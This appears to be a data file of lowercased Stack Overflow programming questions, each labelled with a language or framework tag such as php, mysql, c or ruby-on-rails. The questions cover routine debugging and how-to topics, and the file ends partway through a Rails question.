do you have to call registerclientscriptinclude in postback   i need to register a javascript file from code-behind. i am interested to know whether this just needs to be called at the initial page load  or do i have to call it on each postback too     <pre><code>string clienturl = resolveclienturl( ~/includes/global.js ); if (!page.clientscript.isclientscriptincluderegistered(gettype()   global ))     page.clientscript.registerclientscriptinclude(gettype()   global   clienturl); </code></pre>,asp.net
make website in iframe fit allowed space  now  i know that an iframe renders the website as it was in a separate page (full size)     i have an i frame that i am wanting to make the embedded website fit horizontally inside the i frame.    my i frame looks like this:    <pre><code>&lt;iframe width= 100%  height: 292px  src= &lt; php echo $client-&gt;website;  &gt;  overflow= hidden &gt;&lt;/iframe&gt; </code></pre>   is this possible or am i completely crazy  i want the i frame to fill the entire space and the website inside the i frame to fit horizontally inside that space.,html
what can i do if two methods call each other and i don t want to make one of them public in the header file   i have two methods -a and -b.  -a calls sometimes -b  and -b sometimes calls -a. both methods are intended to be private  and not called from outside.    but i had to make one of them public in the .h file  because otherwise the compiler would go crazy and give a warning for either one of them.    is there any valid and good-practise solution for that problem,objective-c
php loop through array of objects and assign variable  i m trying to print out the value of sessionkey and assign to variable  but i m confused on how i can go about doing that in php.    <pre><code>stdclass object (     [timeout] =&gt; 1800     [lastname] =&gt; cloud     [registered] =&gt; false     [username] =&gt; admin     [firstname] =&gt; admin     [domainid] =&gt; d323388a-ab41-11e4-91c4-464e571bcea9     [userid] =&gt; ff5705c6-ab41-11e4-91c4-464e571bcea9     [type] =&gt; 1     [sessionkey] =&gt; dpgubrsbfb7hcdnzagaymjipm4c=     [account] =&gt; admin ) </code></pre>   output for var_dump   <pre><code>object(stdclass)#5 (10) { [ timeout ]=&gt; string(4)  1800  [ lastname ]=&gt; string(5)  cloud  [ registered ]=&gt; string(5)  false  [ username ]=&gt; string(5)  admin  [ firstname ]=&gt; string(5)  admin  [ domainid ]=&gt; string(36)  d323388a-ab41-11e4-91c4-464e571bcea9  [ userid ]=&gt; string(36)  ff5705c6-ab41-11e4-91c4-464e571bcea9  [ type ]=&gt; string(1)  1  [ sessionkey ]=&gt; string(28)  vzaqz+uvdl/nqqe7ersimp6fif4=  [ account ]=&gt; string(5)  admin  } </code></pre>   this is what i have tried  but its not working.    <pre><code>foreach ($vms as $key =&gt; $obj) {     foreach (get_object_vars($obj) as $name =&gt; $value) {         echo  object mapped to $key has property $name =&gt; $value ;     } } </code></pre>   but i keep seeing this in the logs.    <pre><code>php notice:  trying to get property of non-object in  </code></pre>   your help is highly appreciated.,php
application time setting  i am creating a web application.. when a user want to register with that application local time of that user must be registered in this application.. i tried to get the browser time to register ..it is working ..now i want to improve this.. the user can have incorrect time in his system... so i need a solution to solve this problem.. any suggestion.. pls share with me..,asp.net
how to add 2 columns together in a call to update_counters  i am trying to do this:   <pre><code>user.update_counters(user.id  :counter3 =&gt; :counter1 + :counter2) </code></pre>   but i get the error:   <pre><code>nomethoderror: undefined method `+  for  </code></pre>   is this possible to do,ruby-on-rails
which will execute first (php)   i have a function right here:   <pre><code>function loginform($post){     $username = c($post[ username ]);     $password = md5(c($post[ password ]));     if($this-&gt;login($username $password))         $this-&gt;setcookies($post); } </code></pre>   as you can see the username and password are returned from a function called  <code>c()</code> (which is just <code>$mysqli-&gt;real_escape_string()</code>).    now  as you can see in the password field  there are 2 functions.   <pre><code>$password = md5(c($post[ password ])); </code></pre>   my question is  will the <code>c()</code> function run first  or the <code>md5</code> function will run first   i m almost sure the <code>c()</code> function is running first  but i m not sure.,php
rails - 500 internal server error  i m getting the following error when i try to pull up an old app and can t seem to pin point the problem. i m getting a  call_with_exception  error and googling provided no help. can anyone point me to the right direction  i m on rails 2.3.5  ruby 1.8.7  and using rvm.   <pre><code>$ script/server  =&gt; booting mongrel =&gt; rails 2.3.5 application starting on http://0.0.0.0:3000 =&gt; call with -d to detach =&gt; ctrl-c to shutdown server   sql (0.1ms)   set sql_auto_is_null=0 /!\ failsafe /!\  tue may 24 08:31:57 -0700 2011   status: 500 internal server error   undefined method `call_with_exception  for applicationcontroller:class     /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:90:in `dispatch      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:121:in `_call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:130:in `build_middleware_stack      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/query_cache.rb:29:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/query_cache.rb:29:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/connection_adapters/abstract/query_cache.rb:34:in `cache      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/query_cache.rb:9:in `cache      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/query_cache.rb:28:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/activerecord-2.3.5/lib/active_record/connection_adapters/abstract/connection_pool.rb:361:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/string_coercion.rb:25:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/head.rb:9:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/methodoverride.rb:24:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/params_parser.rb:15:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/session/cookie_store.rb:93:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/failsafe.rb:26:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/lock.rb:11:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/lock.rb:11:in `synchronize      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/lock.rb:11:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:114:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/reloader.rb:34:in `run      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/actionpack-2.3.5/lib/action_controller/dispatcher.rb:108:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rails-2.3.5/lib/rails/rack/static.rb:31:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/urlmap.rb:46:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/urlmap.rb:40:in `each      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/urlmap.rb:40:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rails-2.3.5/lib/rails/rack/log_tailer.rb:17:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/content_length.rb:13:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/chunked.rb:15:in `call      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/handler/mongrel.rb:64:in `process      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:159:in `process_client      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:158:in `each      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:158:in `process_client      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:285:in `run      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:285:in `initialize      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:285:in `new      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:285:in `run      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:268:in `initialize      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:268:in `new      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/mongrel-1.1.5/lib/mongrel.rb:268:in `run      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rack-1.0.1/lib/rack/handler/mongrel.rb:34:in `run      /users/my_user_dir/.rvm/gems/ruby-1.8.7-p334@rails235/gems/rails-2.3.5/lib/commands/server.rb:111     /users/my_user_dir/.rvm/rubies/ruby-1.8.7-p334/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:29:in `gem_original_require      /users/my_user_dir/.rvm/rubies/ruby-1.8.7-p334/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:29:in `require      script/server:3 </code></pre>,ruby-on-rails
mysql query not correct filtering date in past month  i ve a problem with this mysql query in moodle. it returns records from january and february where it should only return records from january.    <pre><code>select c.shortname as course  g.name as project  u.username as student    from_unixtime(u.firstaccess   %d-%m-%y ) as logindate from prefix_course as c  join prefix_groups as g on g.courseid = c.id join prefix_groups_members as m on g.id = m.groupid join prefix_user as u on m.userid = u.id  where c.id = 8 and date_format(from_unixtime(u.firstaccess)   %d-%m-%y ) between  15-01-2016  and  31-01-2016  </code></pre>   when i change the dates to e.g.  01-02-2016  and  15-02-2016  it returns the correct records from february. i ve tried several things but i can t filter out the records from only january 2016.     anyone a suggestion,mysql
is it possible to have an image as legend of a fieldset   i have page like this   <pre><code>&lt;fieldset&gt;   &lt;legend&gt;username&lt;/legend&gt;   &lt;p&gt;information about the user&lt;/p&gt; &lt;/fieldset&gt; </code></pre>   but i d much rather have the user s avatar in the legend (and if so is it supported by the major browsers). is this possible or do i have to go down the div route,html
why this table is stretching   i have observed this table deviates from its specified width..as i add a table to one of its cell  the table stretches..i tried to debug it but to no avail..the highlighted part is the table that stretches it..how can i fix this    <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;untitled document&lt;/title&gt; &lt;/head&gt;  &lt;body&gt; &lt;table cellpadding= 0  cellspacing= 0   width= 720  border= 1  align= center &gt;     &lt;!-- first part --&gt;     &lt;tr&gt;         &lt;td valign= top &gt;                 &lt;!-- start top spacer  --&gt;                 &lt;table width= 720  border= 1  align= center &gt;                     &lt;tr&gt;                         &lt;td valign= top &gt;                             &lt;img src= spacer-top_1.jpg  width= 29  height= 40  alt= nopic  title=   /&gt;                         &lt;/td&gt;                         &lt;td valign= top  width= 662 &gt;                             &lt;img src= spacer-top_2.jpg  width= 29  height= 40  alt= nopic  title=   /&gt;                         &lt;/td&gt;                         &lt;td valign= top &gt;                             &lt;img src= spacer-top_3.jpg  width= 29  height= 40  alt= nopic  title=   /&gt;                         &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;                 &lt;!-- end top spacer  --&gt;          &lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;         &lt;td valign= top  bgcolor= #99ffff &gt;                 &lt;!-- start body  --&gt;                 &lt;table width= 720  border= 1  align= center &gt;                     &lt;tr&gt;                         &lt;td valign= top &gt;                             &lt;img src= spacer-top_1.jpg  width= 29  height= 40  alt= nopic  title=   /&gt;                         &lt;/td&gt;                         &lt;td valign= top   &gt;                              &lt;!-- start main body --&gt;                                &lt;table cellspacing= 0  cellpadding= 0  width= 662 &gt;                                        &lt;tr&gt;                                                &lt;td&gt;main content                                            &lt;/td&gt;                                    &lt;/tr&gt;                             &lt;/table&gt;                          &lt;/td&gt;                              &lt;!-- end main body --&gt;                          &lt;td valign= top &gt;                             &lt;img src= spacer-top_3.jpg  width= 29  height= 40  alt= nopic  title=   /&gt;                         &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;                 &lt;!-- end body  --&gt;         &lt;/td&gt;      &lt;/tr&gt;            &lt;tr&gt;         &lt;td valign= top &gt;                         &lt;!-- start bottom spacer  --&gt;                 &lt;table width= 720  border= 0  align= center &gt;                     &lt;tr&gt;                         &lt;td valign= top &gt;                             &lt;img src= spacer-bottom_left.jpg  width= 46  height= 21  alt= nopic  title=   /&gt;                         &lt;/td&gt;                         &lt;td valign= top  width= 662 &gt;                             &lt;img src= spacer-bottom_top.jpg  width= 21  height= 21  alt= nopic  title=   /&gt;                         &lt;/td&gt;                         &lt;td valign= top &gt;                             &lt;img src= spacer-bottom_right.jpg  width= 52  height= 21  alt= nopic  title=   /&gt;                         &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;                 &lt;!-- end bottom spacer  --&gt;           &lt;/td&gt;      &lt;/tr&gt;            &lt;!-- /first part --&gt;   &lt;/table&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   <a href= http://jsfiddle.net/vq8hg/2/  rel= nofollow >http://jsfiddle.net/vq8hg/2/</a>,html
mysql: grouping rows with same txn ids  i have two tables  a transactions table  and transactions_items table:    <strong>transactions:</strong>   <pre><code>id customer amt 1  bill     500 2  helen    100 </code></pre>   <strong>transactions_items:</strong>   <pre><code>id code price 1  r2   100 1  r3   200 1  r5   100 2  r5   100 </code></pre>   <strong>i want to group them as such:</strong>   <pre><code>id customer code price amt 1  bill     r2   100   500             r3   200                r5   100 2  helen    r5   100   100 </code></pre>   is this possible,mysql
i am using urlrewritingnet.urlrewrite dll  how to redirect to error page when bad request get fired   currently i am using urlrewritingnet.urlrewrite dll for url rewriting in asp.net #3.5.    without using any special character it works fine ex. url1. but after giving special characters in url it throws bad request error ex. url2    url1: <a href= http://www.example.com/search/0253  rel= nofollow >http://www.example.com/search/0253</a>    url2: <a href= http://www.example.com/search/0253:0253  rel= nofollow >http://www.example.com/search/0253:0253</a>    to handle this error   i want to redirect it to some other error page  how can i do this,asp.net
assign next n iterations to tuple  is there more sophisticated way of doing this     <pre><code>node = next(iterable)  next(iterable)  next(iterable) </code></pre>,python
.net configuration file  i have console app  a  that references another console app  b .  b  app has its own configuration file. when i launch project  a   the application fails  because app  b  cannot configure its components  since it uses the configuration of app  a . how to get around this problem  i want that project  b  to source its own configuration file.,.net
strange (for me) declaration of function  what that declaration means in c     <pre><code>void help_me (char *  char *); </code></pre>   i m newbie  but i know about pointers. seems like this is something different,c
count distinct   i have a table  purchases :   <pre><code>customerid . purchaseyear . purchasemonth 1234       . 2012         . 6  1235       . 2012         . 7 1236       . 2013         . 4 1237       . 2015         . 6 1238       . 2015         . 6 </code></pre>   and i m trying to count the number of customers who made a purchase in each month and year. how do i go about doing this,sql
select the max value from two tables  i have a query like this  to select the most recent time someone was contacted:   <pre><code>select `user_id`  `last_contact`    from `emails_sent`   group by `user_id`  order by `last_contact` desc </code></pre>   the above code gives a table with the last contact time for each user. now  i have another table with contacts to users  a table with columns user_id and last_contact  among others.    how can i make my select use both tables and select the last contact time for each user from the two tables,mysql
error : an object reference is required for non-static field  methods  or property. (in c#)  i made a garagemanager program which contain vehicle class and classes which heritage from this class. while in the ui manager call to a methods which ask the user for details so i can construct a new vehicle object. that method give me the error :   <blockquote>    an object reference is required for non-static field  methods  or   property.  </blockquote>   the method i call is :   <pre><code> //takeing a vehicle license number and creating a new vehiclestatusinfo.     public vehiclestatusinfo getnewvehiclestatusinfo(string i_licensenumber)     {         evehicletype vehicletype = getvehicletype();         string vehicleownername = getvehicleownername();         string vehicleownerphone = getvehicleownerphone();         string modelname = getvehiclemodlename();         eenergytype energytype = getenergyinput();         float maxenergy = choosenumof( max energy of the vehicle (float) );         float energyleft = choosenumof( energy left in the vehicle (float)   0  maxenergy);         list&lt;wheel&gt; wheellist = getwheellist();         vehicle newvehicle;         switch (vehicletype)         {             case evehicletype.motoriccar:                 ecolor motorcarcolor = getcolor();                 int motorcarnumofdoors = getnumofdoors();                 newvehicle = new car(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy  motorcarcolor  motorcarnumofdoors);                 break;             case evehicletype.electriccar:                 ecolor elctcarcolor = getcolor();                 int elctcarnumofdoors = getnumofdoors();                 newvehicle = new car(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy  elctcarcolor  elctcarnumofdoors);                 break;             case evehicletype.motoricbike:                 elisencesize licensesize = getlicensesize();                 int enginecapacity = getenginecapacity();                 newvehicle = new motorcycle(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy  licensesize  enginecapacity);                 break;             case evehicletype.electicbike:                 elisencesize elctlicensesize = getlicensesize();                 int elctenginecapacity = getenginecapacity();                 newvehicle = new motorcycle(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy  elctlicensesize  elctenginecapacity);                 break;             case evehicletype.truck:                 bool hasdangerousematerial = isdangerouse();                 float maxweight = choosenumof( max weight of the truck );                 newvehicle = new truck(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy hasdangerousematerial  maxweight);                 break;             default:                 newvehicle = new vehicle(modelname  i_licensenumber  energyleft  wheellist  energytype  maxenergy);                 break;         } </code></pre>   and here is how i call the method :   <pre><code>newgaragemanager.vehiclelist.add(getnewvehiclestatusinfo(vehiclelicensenum)) </code></pre>   i can t make the method static since she use other get-from-user-methods.,c#
php non-english character using $echo  in php  i want to print <strong>düsseldorf</strong> using    <pre><code> echo  düsseldorf ;  </code></pre>   however it turns out to be something like this <strong>d�sseldorf</strong>    please suggest what should i do to print european characters mostly non-english.,php
android imageview: place image on top  i have an activity containing only one <code>imageview</code>. this view should display an image loaded from an url. i want  that this image will be shown on the top of my screen using the whole screen width. my layout-file:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;      &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android          android:layout_width= match_parent          android:layout_height= match_parent          android:orientation= vertical          android:background= @color/overview_bgcolor  &gt;         &lt;imageview              android:id= @+id/overview_image              android:contentdescription= image              android:layout_width= match_parent              android:layout_height= wrap_content              android:layout_gravity= top|fill_horizontal /&gt;     &lt;/linearlayout&gt; </code></pre>   but the image is always shown vertically centered. but why  i thought  that <code>top</code> will place this <code>imageview</code> on top of my screen,android
how does object copying work in objective c  i m a bit confused on how copying objects works in objective c. here s what i know: when you copy an object  you get a distinct object in memory that contains all the same elements from the object that you have just copied and increments the retain count for each element. also  copying each element in the array object from the original to a new location meant just copying the reference from one element of the array to another. so  the old and the new are pointing to the same element.    look at the below code: why is it that when you remove an object it only affects one object and when you change the element  it affects both the original and the copy object  shouldn t the remove affects both objects    <pre><code>nsmutablearray *dataarray = [nsmutablearray arraywithobjects:                             [nsmutablestring stringwithstring:@ one ]                              [nsmutablestring stringwithstring:@ two ]                              [nsmutablestring stringwithstring:@ three ]  nil]; nsmutablearray *dataarray2; nsmutablestring *mstr;  nslog(@ 1-dataarray:  ); for( nsstring *elem in dataarray)     nslog(@    %@   elem);  dataarray2 = [dataarray mutablecopy]; [dataarray2 removeobjectatindex:0];  nslog(@ 2-dataarray2:  ); for( nsstring *elem in dataarray2)     nslog(@    %@   elem);  mstr =[dataarray objectatindex:1]; [mstr appendstring:@ one ];    nslog(@ 3-dataarray:  ); for( nsstring *elem in dataarray)     nslog(@    %@   elem);   nslog(@ 4-dataarray2:  ); for( nsstring *elem in dataarray2)     nslog(@    %@   elem);  [dataarray2 release]; </code></pre>,objective-c
x and y must have same first dimension error in python  i am new to python and i m trying to plot the fft of a sinewave with different frequencies. i got my sinewave plot but finding it difficult to plot the fft of the signal.   <pre><code>a = 2.0                      fs = 5000                    nsample = 200  t=1.0/fs       ff = np.array([200  600  1000]) # different freq under test  #generating the test sinusoidals x = np.arange(0 nsample)  normalisedfreq = 2*np.pi*ff/fs  # create the three sinusoids and generating waveform  y = np.zeros(nsample)  for w in normalisedfreq :    y=y+a*np.sin(w*x)  # generating fast fourier transform n_fft=len(y)  magnitude = 2*np.abs(scipy.fftpack.fft(y n_fft))/n_fft  cutoff = m.ceil((n_fft+1)/2)             #nyquist frequency   freq=np.array((0 cutoff-1)*(fs/n_fft))   #frequency vector  plt.subplot (211) plt.plot(x y)  plt.subplot(212) plt.plot(freq magnitude)  plt.show() </code></pre>   i get the following error:   <pre><code>valueerror: x and y must have same first dimension </code></pre>   this error occurs when i try to plot the freq and magnitude.    help please  thank you,python
how to use updatepanel with asyncrefresh event  i  developing an asp.net web application.in that application i am using asyncrefresh event for continuously updating the value.if i am using updatepanel the asyncrefresh event won t get the focus.without updatepanel evet getting the focus.i want to use asynrefresh event with updatepanel.any one please help for this problem.    thanks&amp;regards lijo thomas,asp.net
objective c  how to make the corner of a picture in uiimageview round   <img src= https://i.stack.imgur.com/evpdx.jpg  alt= enter image description here >    i want to do something like that.. how to make the corner of the image in the uiimageview round  thanks in advance...,objective-c
console.readline().tostring() generates error  i never did console programming so got stuck in this silly thing:   <pre><code>console.write( enter customer s salary:  ); string sal = console.write( {0}!    console.readline().tostring()); </code></pre>   it generates error: cannot implicitly convert type  void  to  string,c#
loop through attributes using dom methods   i need to remove some attributes and preserve some from a list of nodes. for instance  there is a list of <code>img</code> elements and you just need <code>src</code> and <code>alt</code> attributes  is there any way to loop through attributes of elements in a given list    <pre><code> &lt;img src=   alt=   height=   width=   class= class1 &gt;  &lt;img src=   alt=   height=   width=   class= class2 &gt;  &lt;img src=   alt=   height=   width=   class= class3 &gt;  &lt;img src=   alt=   height=   width=   class= class4 &gt;  &lt;img src=   alt=   height=   width=   class= class5 &gt;  &lt;img src=   alt=   height=   width=   class= class6 &gt;  &lt;img src=   alt=   height=   width=   class= class7 &gt;  &lt;img src=   alt=   height=   width=   class= class8 &gt;  &lt;img src=   alt=   height=   width=   class= class9 &gt;  &lt;img src=   alt=   height=   width=   class= class10 &gt;    &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt;  &lt;img src=   alt=  &gt; </code></pre>,javascript
how to extract multiple strings from a single file in c  ciao     look at my code below. that`s a standard program for log in authentication. in the file  login.txt   located 1 string with user name. when program starts  it asks to enter the user name  then compare this string with the string saved in  login.txt   if both equal then - success  if not equal  then we can try only 3 times till the program ends; i need to save in  login.txt  3 strings (user names) for example: brad  david peter    so i need to call each string from  login.txt separately to char buf[]  then to call scanf function (david - for example)  after use strcmp for both  and as a result both strings should be equal each other;    question: how to extract multiple strings  separately  and put each to different char buf[] from a single file in c file .txt     thank you in advance.    code:   <pre><code>int main() {      system( cls );     file *p;     int n=3 b v;     char buf[20] buf2[20] login[20] password[20];     p=fopen( login.txt   rt );     fgets(buf 20 p);     fclose(p);     p=fopen( password.txt   rt );     fgets(buf2 20 p);     fclose(p);     printf( %s  buf);              do {          printf( please log in. you have %d tries\n  n);         printf( enter your login\n );         scanf( %s  login);         printf( \nenter your password\n );         scanf( %s  password);         printf( \ncompare login = %d compare login = %d\n  strcmp(buf login) strcmp(buf2 password));         n--;         b=strcmp(buf login);         v=strcmp(buf2 password);          if (v==0&amp;&amp;b==0){             printf( \nyou logged in\n\n );             break;         }         else if (n==0) {             printf( \nyou failed\n\n );         }     }     while (n!=0); } </code></pre>,c
c programming bmi program  im having trouble using pointers and references with this program. i dont understand it entirely. im still pretty new at c and we only touched on pointers but haven t gone over it that much. any help will be appreciated.    edit: now it s not letting me input anything...    here s my new code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #define f 703   int getstats(file *statsfp  int *patientid  double *weight  double *height  double *bodymassindex); double getbodymassindex(double weight  double height); void printweightstatus(file *statsfp  int patientid  double weight  double height  double bodymassindex);   void pause() {     char ans;      fflush(stdin);     printf( \npress return to continue );     scanf( %c   &amp;ans); }  int main() {      file statsfp;     int patientid;     double weight  height  bodymassindex;      getstats(&amp;statsfp &amp;patientid  &amp;weight  &amp;height  &amp;bodymassindex);       pause();     return 0; }  int getstats(file *statsfp  int *patientid  double *weight  double *height  double *bodymassindex) {         statsfp = fopen( patientstats.txt   r );     if (statsfp == null)     {         printf( \nfailed to open the %s file.\n    patientstats.txt );         pause();         exit(1);     }      printf( \npatient id\t weight\t height\t bmi\t weight status\n );     printf( \n---------------------------------------------------\n );       while (fscanf (statsfp   %d %lf %d   &amp;patientid  &amp;weight  &amp;height) !=eof)     {         getbodymassindex(*weight  *height);          printweightstatus(statsfp  *patientid  *weight  *height  *bodymassindex);     }      fclose(statsfp);      return 0;   }  double getbodymassindex(double weight  double height) {     double bodymassindex = 0;      bodymassindex = (f*weight)/(height * height);      return bodymassindex;  }  void printweightstatus(file *statsfp  int patientid  double weight  double height  double bodymassindex) {     char *weightstats;      if (bodymassindex &lt; 18.5)         weightstats =  underweight ;     else if (bodymassindex &gt;= 18.5)          weightstats =  normal ;     else if (bodymassindex &gt;= 25.0)         weightstats =  overweight ;     else if (bodymassindex &gt;= 30.0)         weightstats =  obese ;      printf( %6d\t %6.2f\t %6.2f\t %s   &amp;patientid &amp;weight  &amp;height  weightstats);  } </code></pre>,c
keep getting actioncontroller::unknownformat for nested resource view  every time i go to this link /books/2/chapter i get this error:    chapterscontroller#index is missing a template for this request format and variant. request.formats: [ text/html ] request.variant: []    please show me where i am going wrong and any other improvements i can make to my code.    these are my controllers   <pre><code>class chapterscontroller &lt; applicationcontroller   def show     @chapter =chapter.find(params[:id])     @sections = section.all   end    def index     @chapters = chapter.all     @book = book.find(params[:book_id])   end    def new     @chapter = chapter.new     @book = book.find(params[:book_id])   end    def edit     @chapter = chapter.find(params[:id])   end    def create     @chapter =  chapter.new(chapter_params)     @book = book.find(params[:book_id])        if @chapter.save       redirect_to @chapter     else       render  new      end   end    def update     @chapter = chapter.find(params[:id])      if @chapter.update(chapter_params)       redirect_to @chapter     else     render  edit    end end    def destroy     @chapter = chapter.find(params[:id])     @chapter.destroy      redirect_to chapters_path   end    private     def chapter_params       params.require(:chapter).permit(:title :text)     end   end </code></pre>   and   <pre><code>class bookscontroller &lt; applicationcontroller   def show     @book = book.find(params[:id])     @chapters = chapter.all   end    def index     @books = book.all   end    def new     @book = book.new   end    def edit     @book = book.find(params[:id])   end    def create     @book =  book.new(book_params)      if @book.save       redirect_to @book     else       render  new      end   end    def update     @book = book.find(params[:id])      if @book.update(book_params)       redirect_to @book     else     render  edit    end end    def destroy     @book = book.find(params[:id])     @book.destroy      redirect_to books_path   end    private     def book_params       params.require(:book).permit(:title :text :bookcover :authorpic :author)     end   end </code></pre>   these are my models   <pre><code>class chapter &lt; applicationrecord   has_many :sections  dependent: :destroy   belongs_to :book   validates :title  presence: true                      length:{minimum: 5} end </code></pre>   and   <pre><code>class book &lt; applicationrecord   has_many :chapters  dependent: :destroy   has_attached_file :bookcover  styles: { medium:  300x300&gt;   thumb:  100x100&gt;  }   has_attached_file :authorpic  styles: { medium:  300x300&gt;   thumb:  100x100&gt;  }   validates_attachment_content_type :bookcover  :content_type =&gt; [ image/jpg    image/jpeg    image/png    image/gif ]   validates_attachment_content_type :authorpic  :content_type =&gt; [ image/jpg    image/jpeg    image/png    image/gif ]   validates :title  presence: true                      length:{minimum: 5} end </code></pre>   these are my routes   <pre><code>rails.application.routes.draw do   devise_for :users   root to:  pages#home    get  about   to:  pages#about    resources :contacts  only: :create   get  contact-us   to:  contacts#new   as:  new_contact    get  bookclub   to:  pages#bookclub    get  podcast   to:  pages#podcast    resources :essays do     resources :comments   end   resources :podcasts do     resources :podcomments   end    resources :books do     resources :chapters do       resources :sections do         resources :bookcomments       end     end   end   end </code></pre>   this is my chapters/_index.html.erb file   <pre><code>&lt;div class= mdl-grid &gt;   &lt;div class= mdl-cell mdl-cell--4-col &gt;&lt;h3&gt;chapters&lt;/h3&gt; &lt;/div&gt; &lt;/div&gt; &lt;%= link_to  new chapter   new_book_chapter_path(@book) %&gt;     &lt;% @chapters.each do |chapter| %&gt;     &lt;ul class= demo-list-item mdl-list &gt;       &lt;li class= mdl-list__item &gt;         &lt;span class= mdl-list__item-primary-content &gt;           &lt;%=link_to chapter.title  book_chapter_path(@book  chapter)%&gt;         &lt;/span&gt;       &lt;/li&gt;     &lt;/ul&gt;     &lt;%= link_to  edit   edit_book_chapter_path(@book  chapter) %&gt;     &lt;%= link_to  destroy   book_chapter_path(@book  chapter)                method: :delete                data: { confirm:  are you sure   } %&gt;    &lt;%end%&gt; </code></pre>   this is my books/show.html.erb file   <pre><code>&lt;div class= mdl-grid &gt;   